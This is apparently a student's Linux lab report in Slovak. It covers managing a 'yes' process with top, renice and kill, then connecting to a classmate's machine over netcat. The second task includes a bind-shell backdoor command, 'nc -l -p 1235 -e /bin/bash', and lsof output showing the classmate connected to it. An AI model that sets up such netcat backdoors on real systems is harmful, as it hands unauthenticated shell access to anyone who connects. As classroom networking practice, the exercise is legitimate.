

Zadanie 1

yes > /dev/null &

outputuje 'y' do /dev/null/

```
top - 15:35:48 up 16 days, 20:01, 1 user, load average: 1.00, 0.57, 0.24
Tasks: 112 total, 2 running, 110 sleeping, 0 stopped, 0 zombie
%Cpu(s): 24.3 us, 25.6 sy, 0.0 ni, 49.8 id, 0.0 wa, 0.3 hi, 0.0 si, 0.0 st
MiB Mem : 1774.8 total, 1057.5 free, 232.0 used, 485.3 buff/cache
MiB Swap: 0.0 total, 0.0 free, 0.0 used. 1371.5 avail Mem
```

PID	USER	PR	NI	VIRT	RES	SHR	S	%CPU	%MEM	TIME+	COMMAND
142842	rocky	20	0	5584	1052	964	R	99.7	0.1	3:59.87	yes
142785	rocky	20	0	19544	7696	5364	S	0.3	0.4	0:00.11	sshd
1	root	20	0	172588	19092	10532	S	0.0	1.1	0:17.32	systemd
2	root	20	0	0	0	0	S	0.0	0.0	0:00.23	kthreadd
3	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	rcu_gp
4	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	rcu_par+
6	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	kworker+
8	root	0	-20	0	0	0	I	0.0	0.0	0:00.00	mm_perc+
9	root	20	0	0	0	0	S	0.0	0.0	0:00.00	rcu_tas+
10	root	20	0	0	0	0	S	0.0	0.0	0:00.00	rcu_tas+
11	root	20	0	0	0	0	S	0.0	0.0	0:00.00	rcu_tas+
12	root	20	0	0	0	0	S	0.0	0.0	0:00.02	ksoftir+
13	root	20	0	0	0	0	I	0.0	0.0	0:04.04	rcu_pre+
14	root	rt	0	0	0	0	S	0.0	0.0	0:02.95	migrati+
16	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/0
17	root	20	0	0	0	0	S	0.0	0.0	0:00.00	cpuhp/1
18	root	rt	0	0	0	0	S	0.0	0.0	0:03.24	migrati+

Identifikoval som PID tohto procesu, 142842 a taktiez aj usera rocky

Prioritu som zmenil cez prikaz:

Sudo renice 19 -p 142842

Vyssia nice value je mensia priorita, 19 velmi nezmenila zatazenie ale ide o to ze som zmenil prioritu

Proces som stopol poslanim sudo kill -STOP 142842

A zrusim ho prikazom sudo kill 142842 (defaultny signal cez command kill je zrusenie procesu)

Zadanie 2

Tu som pripojeny na kolegu pomocou prikazu nc, na ip a porte 10.103.1.8:1234

Mozem pouzivat akykoľvek prikaz

```
[rocky@rocky-student-32 ~]$ ping 10.103.1.8
PING 10.103.1.8 (10.103.1.8) 56(84) bytes of data.
64 bytes from 10.103.1.8: icmp_seq=1 ttl=64 time=0.658 ms
64 bytes from 10.103.1.8: icmp_seq=2 ttl=64 time=0.363 ms
64 bytes from 10.103.1.8: icmp_seq=3 ttl=64 time=0.327 ms
64 bytes from 10.103.1.8: icmp_seq=4 ttl=64 time=0.312 ms
64 bytes from 10.103.1.8: icmp_seq=5 ttl=64 time=0.514 ms
64 bytes from 10.103.1.8: icmp_seq=6 ttl=64 time=0.490 ms
^C
--- 10.103.1.8 ping statistics ---
6 packets transmitted, 6 received, 0% packet loss, time 5099ms
rtt min/avg/max/mdev = 0.312/0.444/0.658/0.122 ms
[rocky@rocky-student-32 ~]$ nc 10.103.1.8 1234
ls
crypt
systemd-private-05ba809199584492ae76a653b28cdae9-chrond.service-Jtu19z
systemd-private-05ba809199584492ae76a653b28cdae9-dbus-broker.service-MC96xM
systemd-private-05ba809199584492ae76a653b28cdae9-mariadb.service-yU311W
systemd-private-05ba809199584492ae76a653b28cdae9-systemd-logind.service-e21trd
pwd
/tmp
```

Takisto som cez prikaz nc vytvoril backdoor pre kolegu na porte 1235

Cez prikaz lsof som si pozrel sietove spojenia, najprv nc pocuvalo aj cez ipv4 aj ipv6 a po pripojeni kolegu tam ukazuje established connections aj ip/porty

```
[rocky@rocky-student-32 tmp]$ sudo lsof -i :1235
[rocky@rocky-student-32 tmp]$ nc -l -p 1235 -e /bin/bash &
[2] 142966
[rocky@rocky-student-32 tmp]$ sudo lsof -i :1235
COMMAND      PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
nc           142966 rocky   3u   IPv6  284035      0t0  TCP *:mosaicssysvcl (LISTEN)
nc           142966 rocky   4u   IPv4  284036      0t0  TCP *:mosaicssysvcl (LISTEN)
[rocky@rocky-student-32 tmp]$ sudo lsof -i :1235
COMMAND      PID  USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
nc           142966 rocky   5u   IPv4  284100      0t0  TCP rocky-student-32.novaloca
:mosaicssysvcl->10.103.1.8:59886 (ESTABLISHED)
bash        142970 rocky   5u   IPv4  284100      0t0  TCP rocky-student-32.novaloca
:mosaicssysvcl->10.103.1.8:59886 (ESTABLISHED)
[rocky@rocky-student-32 tmp]$
```